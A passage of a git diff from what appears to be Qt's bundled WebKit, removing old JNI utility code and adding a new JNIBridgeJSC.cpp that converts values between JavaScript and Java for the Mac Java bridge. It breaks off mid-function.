-        env->DeleteLocalRef(cls);
-    }
-    return mid;
-}
-
-const char *getCharactersFromJString (jstring aJString)
-{
-    return getCharactersFromJStringInEnv (getJNIEnv(), aJString);
-}
-
-void releaseCharactersForJString (jstring aJString, const char *s)
-{
-    releaseCharactersForJStringInEnv (getJNIEnv(), aJString, s);
-}
-
-const char *getCharactersFromJStringInEnv (JNIEnv *env, jstring aJString)
-{
-    jboolean isCopy;
-    const char *s = env->GetStringUTFChars((jstring)aJString, &isCopy);
-    if (!s) {
-        env->ExceptionDescribe();
-        env->ExceptionClear();
-                fprintf (stderr, "\n");
-    }
-    return s;
-}
-
-void releaseCharactersForJStringInEnv (JNIEnv *env, jstring aJString, const char *s)
-{
-    env->ReleaseStringUTFChars (aJString, s);
-}
-
-const jchar *getUCharactersFromJStringInEnv (JNIEnv *env, jstring aJString)
-{
-    jboolean isCopy;
-    const jchar *s = env->GetStringChars((jstring)aJString, &isCopy);
-    if (!s) {
-        env->ExceptionDescribe();
-        env->ExceptionClear();
-                fprintf (stderr, "\n");
-    }
-    return s;
-}
-
-void releaseUCharactersForJStringInEnv (JNIEnv *env, jstring aJString, const jchar *s)
-{
-    env->ReleaseStringChars (aJString, s);
-}
-
-JNIType JNITypeFromClassName(const char *name)
-{
-    JNIType type;
-    
-    if (strcmp("byte",name) == 0)
-        type = byte_type;
-    else if (strcmp("short",name) == 0)
-        type = short_type;
-    else if (strcmp("int",name) == 0)
-        type = int_type;
-    else if (strcmp("long",name) == 0)
-        type = long_type;
-    else if (strcmp("float",name) == 0)
-        type = float_type;
-    else if (strcmp("double",name) == 0)
-        type = double_type;
-    else if (strcmp("char",name) == 0)
-        type = char_type;
-    else if (strcmp("boolean",name) == 0)
-        type = boolean_type;
-    else if (strcmp("void",name) == 0)
-        type = void_type;
-    else if ('[' == name[0]) 
-        type = array_type;
-    else
-        type = object_type;
-        
-    return type;
-}
-
-const char *signatureFromPrimitiveType(JNIType type)
-{
-    switch (type){
-        case void_type: 
-            return "V";
-        
-        case array_type:
-            return "[";
-        
-        case object_type:
-            return "L";
-        
-        case boolean_type:
-            return "Z";
-        
-        case byte_type:
-            return "B";
-            
-        case char_type:
-            return "C";
-        
-        case short_type:
-            return "S";
-        
-        case int_type:
-            return "I";
-        
-        case long_type:
-            return "J";
-        
-        case float_type:
-            return "F";
-        
-        case double_type:
-            return "D";
-
-        case invalid_type:
-        default:
-        break;
-    }
-    return "";
-}
-
-JNIType JNITypeFromPrimitiveType(char type)
-{
-    switch (type){
-        case 'V': 
-            return void_type;
-        
-        case 'L':
-            return object_type;
-            
-        case '[':
-            return array_type;
-        
-        case 'Z':
-            return boolean_type;
-        
-        case 'B':
-            return byte_type;
-            
-        case 'C':
-            return char_type;
-        
-        case 'S':
-            return short_type;
-        
-        case 'I':
-            return int_type;
-        
-        case 'J':
-            return long_type;
-        
-        case 'F':
-            return float_type;
-        
-        case 'D':
-            return double_type;
-
-        default:
-        break;
-    }
-    return invalid_type;
-}
-
-jvalue getJNIField( jobject obj, JNIType type, const char *name, const char *signature)
-{
-    JavaVM *jvm = getJavaVM();
-    JNIEnv *env = getJNIEnv();
-    jvalue result;
-
-    bzero (&result, sizeof(jvalue));
-    if ( obj != NULL && jvm != NULL && env != NULL) {
-        jclass cls = env->GetObjectClass(obj);
-        if ( cls != NULL ) {
-            jfieldID field = env->GetFieldID(cls, name, signature);
-            if ( field != NULL ) {
-                switch (type) {
-                case array_type:
-                case object_type:
-                    result.l = env->functions->GetObjectField(env, obj, field);
-                    break;
-                case boolean_type:
-                    result.z = env->functions->GetBooleanField(env, obj, field);
-                    break;
-                case byte_type:
-                    result.b = env->functions->GetByteField(env, obj, field);
-                    break;
-                case char_type:
-                    result.c = env->functions->GetCharField(env, obj, field);
-                    break;
-                case short_type:
-                    result.s = env->functions->GetShortField(env, obj, field);
-                    break;
-                case int_type:
-                    result.i = env->functions->GetIntField(env, obj, field);
-                    break;
-                case long_type:
-                    result.j = env->functions->GetLongField(env, obj, field);
-                    break;
-                case float_type:
-                    result.f = env->functions->GetFloatField(env, obj, field);
-                    break;
-                case double_type:
-                    result.d = env->functions->GetDoubleField(env, obj, field);
-                    break;
-                default:
-                    fprintf(stderr, "%s: invalid field type (%d)\n", __PRETTY_FUNCTION__, (int)type);
-                }
-            }
-            else
-            {
-                fprintf(stderr, "%s: Could not find field: %s\n", __PRETTY_FUNCTION__, name);
-                env->ExceptionDescribe();
-                env->ExceptionClear();
-                fprintf (stderr, "\n");
-            }
-
-            env->DeleteLocalRef(cls);
-        }
-        else {
-            fprintf(stderr, "%s: Could not find class for object\n", __PRETTY_FUNCTION__);
-        }
-    }
-
-    return result;
-}
-
-static jobject convertArrayInstanceToJavaArray(ExecState* exec, JSArray* jsArray, const char* javaClassName)
-{
-    JNIEnv *env = getJNIEnv();
-    // As JS Arrays can contain a mixture of objects, assume we can convert to
-    // the requested Java Array type requested, unless the array type is some object array
-    // other than a string.
-    unsigned length = jsArray->length();
-    jobjectArray jarray = 0;
-    
-    // Build the correct array type
-    switch (JNITypeFromPrimitiveType(javaClassName[1])) { 
-        case object_type: {
-        // Only support string object types
-        if (0 == strcmp("[Ljava.lang.String;", javaClassName)) {
-            jarray = (jobjectArray)env->NewObjectArray(length,
-                env->FindClass("java/lang/String"),
-                env->NewStringUTF(""));
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                UString stringValue = item.toString(exec);
-                env->SetObjectArrayElement(jarray,i,
-                    env->functions->NewString(env, (const jchar *)stringValue.data(), stringValue.size()));
-                }
-            }
-            break;
-        }
-        
-        case boolean_type: {
-            jarray = (jobjectArray)env->NewBooleanArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                jboolean value = (jboolean)item.toNumber(exec);
-                env->SetBooleanArrayRegion((jbooleanArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-        
-        case byte_type: {
-            jarray = (jobjectArray)env->NewByteArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                jbyte value = (jbyte)item.toNumber(exec);
-                env->SetByteArrayRegion((jbyteArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-
-        case char_type: {
-            jarray = (jobjectArray)env->NewCharArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                UString stringValue = item.toString(exec);
-                jchar value = 0;
-                if (stringValue.size() > 0)
-                    value = ((const jchar*)stringValue.data())[0];
-                env->SetCharArrayRegion((jcharArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-
-        case short_type: {
-            jarray = (jobjectArray)env->NewShortArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                jshort value = (jshort)item.toNumber(exec);
-                env->SetShortArrayRegion((jshortArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-
-        case int_type: {
-            jarray = (jobjectArray)env->NewIntArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                jint value = (jint)item.toNumber(exec);
-                env->SetIntArrayRegion((jintArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-
-        case long_type: {
-            jarray = (jobjectArray)env->NewLongArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                jlong value = (jlong)item.toNumber(exec);
-                env->SetLongArrayRegion((jlongArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-
-        case float_type: {
-            jarray = (jobjectArray)env->NewFloatArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                jfloat value = (jfloat)item.toNumber(exec);
-                env->SetFloatArrayRegion((jfloatArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-    
-        case double_type: {
-            jarray = (jobjectArray)env->NewDoubleArray(length);
-            for(unsigned i = 0; i < length; i++) {
-                JSValue item = jsArray->get(exec, i);
-                jdouble value = (jdouble)item.toNumber(exec);
-                env->SetDoubleArrayRegion((jdoubleArray)jarray, (jsize)i, (jsize)1, &value);
-            }
-            break;
-        }
-        
-        case array_type: // don't handle embedded arrays
-        case void_type: // Don't expect arrays of void objects
-        case invalid_type: // Array of unknown objects
-            break;
-    }
-    
-    // if it was not one of the cases handled, then null is returned
-    return jarray;
-}
-
-
-jvalue convertValueToJValue(ExecState* exec, JSValue value, JNIType _JNIType, const char* javaClassName)
-{
-    JSLock lock(SilenceAssertionsOnly);
-    
-    jvalue result;
-   
-    switch (_JNIType){
-        case array_type:
-        case object_type: {
-            result.l = (jobject)0;
-            
-            // First see if we have a Java instance.
-            if (value.isObject()){
-                JSObject* objectImp = asObject(value);
-                if (objectImp->classInfo() == &RuntimeObjectImp::s_info) {
-                    RuntimeObjectImp* imp = static_cast<RuntimeObjectImp*>(objectImp);
-                    JavaInstance *instance = static_cast<JavaInstance*>(imp->getInternalInstance());
-                    if (instance)
-                        result.l = instance->javaInstance();
-                }
-                else if (objectImp->classInfo() == &RuntimeArray::s_info) {
-                // Input is a JavaScript Array that was originally created from a Java Array
-                    RuntimeArray* imp = static_cast<RuntimeArray*>(objectImp);
-                    JavaArray *array = static_cast<JavaArray*>(imp->getConcreteArray());
-                    result.l = array->javaArray();
-                } 
-                else if (objectImp->classInfo() == &JSArray::info) {
-                    // Input is a Javascript Array. We need to create it to a Java Array.
-                    result.l = convertArrayInstanceToJavaArray(exec, asArray(value), javaClassName);
-                }
-            }
-            
-            // Now convert value to a string if the target type is a java.lang.string, and we're not
-            // converting from a Null.
-            if (result.l == 0 && strcmp(javaClassName, "java.lang.String") == 0) {
-#ifdef CONVERT_NULL_TO_EMPTY_STRING
-                if (value->isNull()) {
-                    JNIEnv *env = getJNIEnv();
-                    jchar buf[2];
-                    jobject javaString = env->functions->NewString (env, buf, 0);
-                    result.l = javaString;
-                }
-                else 
-#else
-                if (!value.isNull())
-#endif
-                {
-                    UString stringValue = value.toString(exec);
-                    JNIEnv *env = getJNIEnv();
-                    jobject javaString = env->functions->NewString (env, (const jchar *)stringValue.data(), stringValue.size());
-                    result.l = javaString;
-                }
-            } else if (result.l == 0) 
-                bzero (&result, sizeof(jvalue)); // Handle it the same as a void case
-        }
-        break;
-        
-        case boolean_type: {
-            result.z = (jboolean)value.toNumber(exec);
-        }
-        break;
-            
-        case byte_type: {
-            result.b = (jbyte)value.toNumber(exec);
-        }
-        break;
-        
-        case char_type: {
-            result.c = (jchar)value.toNumber(exec);
-        }
-        break;
-
-        case short_type: {
-            result.s = (jshort)value.toNumber(exec);
-        }
-        break;
-
-        case int_type: {
-            result.i = (jint)value.toNumber(exec);
-        }
-        break;
-
-        case long_type: {
-            result.j = (jlong)value.toNumber(exec);
-        }
-        break;
-
-        case float_type: {
-            result.f = (jfloat)value.toNumber(exec);
-        }
-        break;
-
-        case double_type: {
-            result.d = (jdouble)value.toNumber(exec);
-        }
-        break;
-            
-        break;
-
-        case invalid_type:
-        default:
-        case void_type: {
-            bzero (&result, sizeof(jvalue));
-        }
-        break;
-    }
-    return result;
-}
-
-}  // end of namespace Bindings
-
-} // end of namespace JSC
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jni_utility.h b/src/3rdparty/webkit/WebCore/bridge/jni/jni_utility.h
deleted file mode 100644
index c315b1f..0000000
--- a/src/3rdparty/webkit/WebCore/bridge/jni/jni_utility.h
+++ /dev/null
@@ -1,288 +0,0 @@
-/*
- * Copyright (C) 2003 Apple Computer, Inc.  All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- *    notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- *    notice, this list of conditions and the following disclaimer in the
- *    documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
- * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
- * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
- * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
- * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
- * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
- * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
- * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
- */
-
-#ifndef _JNI_UTILITY_H_
-#define _JNI_UTILITY_H_
-
-#if ENABLE(MAC_JAVA_BRIDGE)
-
-#include <runtime/JSValue.h>
-#include <JavaVM/jni.h>
-
-// The order of these items can not be modified as they are tightly
-// bound with the JVM on Mac OSX. If new types need to be added, they
-// should be added to the end. It is used in jni_obc.mm when calling
-// through to the JVM. Newly added items need to be made compatible
-// in that file.
-typedef enum {
-    invalid_type = 0,
-    void_type,
-    object_type,
-    boolean_type,
-    byte_type,
-    char_type,
-    short_type,
-    int_type,
-    long_type,
-    float_type,
-    double_type,
-    array_type
-} JNIType;
-
-namespace JSC {
-
-class ExecState;
-class JSObject;    
-
-namespace Bindings {
-
-class JavaParameter;
-
-const char *getCharactersFromJString(jstring aJString);
-void releaseCharactersForJString(jstring aJString, const char *s);
-
-const char *getCharactersFromJStringInEnv(JNIEnv *env, jstring aJString);
-void releaseCharactersForJStringInEnv(JNIEnv *env, jstring aJString, const char *s);
-const jchar *getUCharactersFromJStringInEnv(JNIEnv *env, jstring aJString);
-void releaseUCharactersForJStringInEnv(JNIEnv *env, jstring aJString, const jchar *s);
-
-JNIType JNITypeFromClassName(const char *name);
-JNIType JNITypeFromPrimitiveType(char type);
-const char *signatureFromPrimitiveType(JNIType type);
-
-jvalue convertValueToJValue(ExecState*, JSValue, JNIType, const char* javaClassName);
-
-jvalue getJNIField(jobject obj, JNIType type, const char *name, const char *signature);
-
-jmethodID getMethodID(jobject obj, const char *name, const char *sig);
-JNIEnv* getJNIEnv();
-JavaVM* getJavaVM();
-void setJavaVM(JavaVM*);
-    
-    
-template <typename T> struct JNICaller;
-
-template<> struct JNICaller<void> {
-    static void callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallVoidMethodA(obj, mid, args);
-    }
-    static void callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallVoidMethodV(obj, mid, args);
-    }
-};
-
-template<> struct JNICaller<jobject> {
-    static jobject callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallObjectMethodA(obj, mid, args);
-    }
-    static jobject callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallObjectMethodV(obj, mid, args);
-    }    
-};
-
-template<> struct JNICaller<jboolean> {
-    static jboolean callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallBooleanMethodA(obj, mid, args);
-    }
-    static jboolean callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallBooleanMethodV(obj, mid, args);
-    }
-    static jboolean callStaticV(jclass cls, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallStaticBooleanMethod(cls, mid, args);
-    }
-    
-};
-
-template<> struct JNICaller<jbyte> {
-    static jbyte callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallByteMethodA(obj, mid, args);
-    }
-    static jbyte callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallByteMethodV(obj, mid, args);
-    }
-};
-
-template<> struct JNICaller<jchar> {
-    static jchar callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallCharMethodA(obj, mid, args);
-    }
-    static jchar callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallCharMethodV(obj, mid, args);
-    }    
-};
-
-template<> struct JNICaller<jshort> {
-    static jshort callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallShortMethodA(obj, mid, args);
-    }
-    static jshort callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallShortMethodV(obj, mid, args);
-    }
-};
-
-template<> struct JNICaller<jint> {
-    static jint callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallIntMethodA(obj, mid, args);
-    }
-    static jint callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallIntMethodV(obj, mid, args);
-    }
-};
-
-template<> struct JNICaller<jlong> {
-    static jlong callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallLongMethodA(obj, mid, args);
-    }
-    static jlong callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallLongMethodV(obj, mid, args);
-    }
-};
-
-template<> struct JNICaller<jfloat> {
-    static jfloat callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallFloatMethodA(obj, mid, args);
-    }
-    static jfloat callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallFloatMethodV(obj, mid, args);
-    }
-};
-
-template<> struct JNICaller<jdouble> {
-    static jdouble callA(jobject obj, jmethodID mid, jvalue* args)
-    {
-        return getJNIEnv()->CallDoubleMethodA(obj, mid, args);
-    }
-    static jdouble callV(jobject obj, jmethodID mid, va_list args)
-    {
-        return getJNIEnv()->CallDoubleMethodV(obj, mid, args);
-    }
-};
-
-template<typename T> T callJNIMethodIDA(jobject obj, jmethodID mid, jvalue *args)
-{
-    return JNICaller<T>::callA(obj, mid, args);
-}
-    
-template<typename T>
-static T callJNIMethodV(jobject obj, const char *name, const char *sig, va_list args)
-{
-    JavaVM *jvm = getJavaVM();
-    JNIEnv *env = getJNIEnv();
-    
-    if ( obj != NULL && jvm != NULL && env != NULL) {
-        jclass cls = env->GetObjectClass(obj);
-        if ( cls != NULL ) {
-            jmethodID mid = env->GetMethodID(cls, name, sig);
-            if ( mid != NULL )
-            {
-                return JNICaller<T>::callV(obj, mid, args);
-            }
-            else
-            {
-                fprintf(stderr, "%s: Could not find method: %s for %p\n", __PRETTY_FUNCTION__, name, obj);
-                env->ExceptionDescribe();
-                env->ExceptionClear();
-                fprintf (stderr, "\n");
-            }
-
-            env->DeleteLocalRef(cls);
-        }
-        else {
-            fprintf(stderr, "%s: Could not find class for %p\n", __PRETTY_FUNCTION__, obj);
-        }
-    }
-
-    return 0;
-}
-
-template<typename T>
-T callJNIMethod(jobject obj, const char* methodName, const char* methodSignature, ...)
-{
-    va_list args;
-    va_start(args, methodSignature);
-    
-    T result= callJNIMethodV<T>(obj, methodName, methodSignature, args);
-    
-    va_end(args);
-    
-    return result;
-}
-    
-template<typename T>
-T callJNIStaticMethod(jclass cls, const char* methodName, const char* methodSignature, ...)
-{
-    JavaVM *jvm = getJavaVM();
-    JNIEnv *env = getJNIEnv();
-    va_list args;
-    
-    va_start(args, methodSignature);
-    
-    T result = 0;
-    
-    if (cls != NULL && jvm != NULL && env != NULL) {
-        jmethodID mid = env->GetStaticMethodID(cls, methodName, methodSignature);
-        if (mid != NULL) 
-            result = JNICaller<T>::callStaticV(cls, mid, args);
-        else {
-            fprintf(stderr, "%s: Could not find method: %s for %p\n", __PRETTY_FUNCTION__, methodName, cls);
-            env->ExceptionDescribe();
-            env->ExceptionClear();
-            fprintf (stderr, "\n");
-        }
-    }
-    
-    va_end(args);
-    
-    return result;
-}
-    
-bool dispatchJNICall(ExecState*, const void* targetAppletView, jobject obj, bool isStatic, JNIType returnType, jmethodID methodID, jvalue* args, jvalue& result, const char* callingURL, JSValue& exceptionDescription);
-
-} // namespace Bindings
-
-} // namespace JSC
-
-#endif // ENABLE(MAC_JAVA_BRIDGE)
-
-#endif // _JNI_UTILITY_H_
diff --git a/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIBridgeJSC.cpp b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIBridgeJSC.cpp
new file mode 100644
index 0000000..5fce148
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bridge/jni/jsc/JNIBridgeJSC.cpp
@@ -0,0 +1,445 @@
+/*
+ * Copyright (C) 2003, 2004, 2005, 2007, 2009 Apple Inc. All rights reserved.
+ * Copyright 2010, The Android Open Source Project
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ *    notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ *    notice, this list of conditions and the following disclaimer in the
+ *    documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+ * PURPOSE ARE DISCLAIMED.  IN NO EVENT SHALL APPLE COMPUTER, INC. OR
+ * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
+ * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
+ * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
+ * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
+ * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#include "config.h"
+#include "JNIBridgeJSC.h"
+
+#if ENABLE(MAC_JAVA_BRIDGE)
+
+#include "JNIUtilityPrivate.h"
+#include "Logging.h"
+#include "runtime_array.h"
+#include "runtime_object.h"
+#include <runtime/Error.h>
+
+using namespace JSC;
+using namespace JSC::Bindings;
+using namespace WebCore;
+
+JavaField::JavaField(JNIEnv* env, jobject aField)
+{
+    // Get field type name
+    jstring fieldTypeName = 0;
+    if (jobject fieldType = callJNIMethod<jobject>(aField, "getType", "()Ljava/lang/Class;"))
+        fieldTypeName = static_cast<jstring>(callJNIMethod<jobject>(fieldType, "getName", "()Ljava/lang/String;"));
+    if (!fieldTypeName)
+        fieldTypeName = env->NewStringUTF("<Unknown>");
+    m_type = JavaString(env, fieldTypeName);
+
+    m_JNIType = JNITypeFromClassName(m_type.UTF8String());
+
+    // Get field name
+    jstring fieldName = static_cast<jstring>(callJNIMethod<jobject>(aField, "getName", "()Ljava/lang/String;"));
+    if (!fieldName)
+        fieldName = env->NewStringUTF("<Unknown>");
+    m_name = JavaString(env, fieldName);
+
+    m_field = new JObjectWrapper(aField);
+}
+
+JSValue JavaArray::convertJObjectToArray(ExecState* exec, jobject anObject, const char* type, PassRefPtr<RootObject> rootObject)
+{
+    if (type[0] != '[')
+        return jsUndefined();
+
+    return new (exec) RuntimeArray(exec, new JavaArray(anObject, type, rootObject));
+}
+
+jvalue JavaField::dispatchValueFromInstance(ExecState* exec, const JavaInstance* instance, const char* name, const char* sig, JNIType returnType) const
+{
+    jobject jinstance = instance->javaInstance();
+    jobject fieldJInstance = m_field->m_instance;
+    JNIEnv* env = getJNIEnv();
+    jvalue result;
+
+    memset(&result, 0, sizeof(jvalue));
+    jclass cls = env->GetObjectClass(fieldJInstance);
+    if (cls) {
+        jmethodID mid = env->GetMethodID(cls, name, sig);
+        if (mid) {
+            RootObject* rootObject = instance->rootObject();
+            if (rootObject && rootObject->nativeHandle()) {
+                JSValue exceptionDescription;
+                jvalue args[1];
+
+                args[0].l = jinstance;
+                dispatchJNICall(exec, rootObject->nativeHandle(), fieldJInstance, false, returnType, mid, args, result, 0, exceptionDescription);
+                if (exceptionDescription)
+                    throwError(exec, GeneralError, exceptionDescription.toString(exec));
+            }
+        }
+    }
+    return result;
+}
+
+JSValue JavaField::valueFromInstance(ExecState* exec, const Instance* i) const
+{
+    const JavaInstance* instance = static_cast<const JavaInstance*>(i);
+
+    JSValue jsresult = jsUndefined();
+
+    switch (m_JNIType) {
+    case array_type:
+    case object_type:
+        {
+            jvalue result = dispatchValueFromInstance(exec, instance, "get", "(Ljava/lang/Object;)Ljava/lang/Object;", object_type);
+            jobject anObject = result.l;
+
+            if (!anObject)
+                return jsNull();
+
+            const char* arrayType = type();
+            if (arrayType[0] == '[')
+                jsresult = JavaArray::convertJObjectToArray(exec, anObject, arrayType, instance->rootObject());
+            else if (anObject)
+                jsresult = JavaInstance::create(anObject, instance->rootObject())->createRuntimeObject(exec);
+        }
+        break;
+
+    case boolean_type:
+        jsresult = jsBoolean(dispatchValueFromInstance(exec, instance, "getBoolean", "(Ljava/lang/Object;)Z", boolean_type).z);
+        break;
+
+    case byte_type:
+    case char_type:
+    case short_type:
+
+    case int_type:
+        {
+            jint value;
+            jvalue result = dispatchValueFromInstance(exec, instance, "getInt", "(Ljava/lang/Object;)I", int_type);
+            value = result.i;
+            jsresult = jsNumber(exec, static_cast<int>(value));
+        }
+        break;
+
+    case long_type:
+    case float_type:
+    case double_type:
+        {
+            jdouble value;
+            jvalue result = dispatchValueFromInstance(exec, instance, "getDouble", "(Ljava/lang/Object;)D", double_type);
+            value = result.i;
+            jsresult = jsNumber(exec, static_cast<double>(value));
+        }
+        break;
+    default:
+        break;
+    }
+
+    LOG(LiveConnect, "JavaField::valueFromInstance getting %s = %s", UString(name()).UTF8String().c_str(), jsresult.toString(exec).ascii());
+
+    return jsresult;
+}
+
+void JavaField::dispatchSetValueToInstance(ExecState* exec, const JavaInstance* instance, jvalue javaValue, const char* name, const char* sig) const
+{
+    jobject jinstance = instance->javaInstance();
+    jobject fieldJInstance = m_field->m_instance;
+    JNIEnv* env = getJNIEnv();
+
+    jclass cls = env->GetObjectClass(fieldJInstance);
+    if (cls) {
+        jmethodID mid = env->GetMethodID(cls, name, sig);
+        if (mid) {
+            RootObject* rootObject = instance->rootObject();
+            if (rootObject && rootObject->nativeHandle()) {
+                JSValue exceptionDescription;
+                jvalue args[2];
+                jvalue result;
+
+                args[0].l = jinstance;
+                args[1] = javaValue;
+                dispatchJNICall(exec, rootObject->nativeHandle(), fieldJInstance, false, void_type, mid, args, result, 0, exceptionDescription);
+                if (exceptionDescription)
+                    throwError(exec, GeneralError, exceptionDescription.toString(exec));
+            }
+        }
+    }
+}
+
+void JavaField::setValueToInstance(ExecState* exec, const Instance* i, JSValue aValue) const
+{
+    const JavaInstance* instance = static_cast<const JavaInstance*>(i);
+    jvalue javaValue = convertValueToJValue(exec, i->rootObject(), aValue, m_JNIType, type());
+
+    LOG(LiveConnect, "JavaField::setValueToInstance setting value %s to %s", UString(name()).UTF8String().c_str(), aValue.toString(exec).ascii());
+
+    switch (m_JNIType) {
+    case array_type:
+    case object_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "set", "(Ljava/lang/Object;Ljava/lang/Object;)V");
+        }
+        break;
+
+    case boolean_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setBoolean", "(Ljava/lang/Object;Z)V");
+        }
+        break;
+
+    case byte_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setByte", "(Ljava/lang/Object;B)V");
+        }
+        break;
+
+    case char_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setChar", "(Ljava/lang/Object;C)V");
+        }
+        break;
+
+    case short_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setShort", "(Ljava/lang/Object;S)V");
+        }
+        break;
+
+    case int_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setInt", "(Ljava/lang/Object;I)V");
+        }
+        break;
+
+    case long_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setLong", "(Ljava/lang/Object;J)V");
+        }
+        break;
+
+    case float_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setFloat", "(Ljava/lang/Object;F)V");
+        }
+        break;
+
+    case double_type:
+        {
+            dispatchSetValueToInstance(exec, instance, javaValue, "setDouble", "(Ljava/lang/Object;D)V");
+        }
+        break;
+    default:
+        break;
+    }
+}
+
+JavaArray::JavaArray(jobject array, const char* type, PassRefPtr<RootObject> rootObject)
+    : Array(rootObject)
+{
+    m_array = new JObjectWrapper(array);
+    // Java array are fixed length, so we can cache length.
+    JNIEnv* env = getJNIEnv();
+    m_length = env->GetArrayLength(static_cast<jarray>(m_array->m_instance));
+    m_type = strdup(type);
+}
+
+JavaArray::~JavaArray()
+{
+    free(const_cast<char*>(m_type));
+}
+
+RootObject* JavaArray::rootObject() const
+{
+    return m_rootObject && m_rootObject->isValid() ? m_rootObject.get() : 0;
+}
+
+void JavaArray::setValueAt(ExecState* exec, unsigned index, JSValue aValue) const
+{
+    JNIEnv* env = getJNIEnv();
+    char* javaClassName = 0;
+
+    JNIType arrayType = JNITypeFromPrimitiveType(m_type[1]);
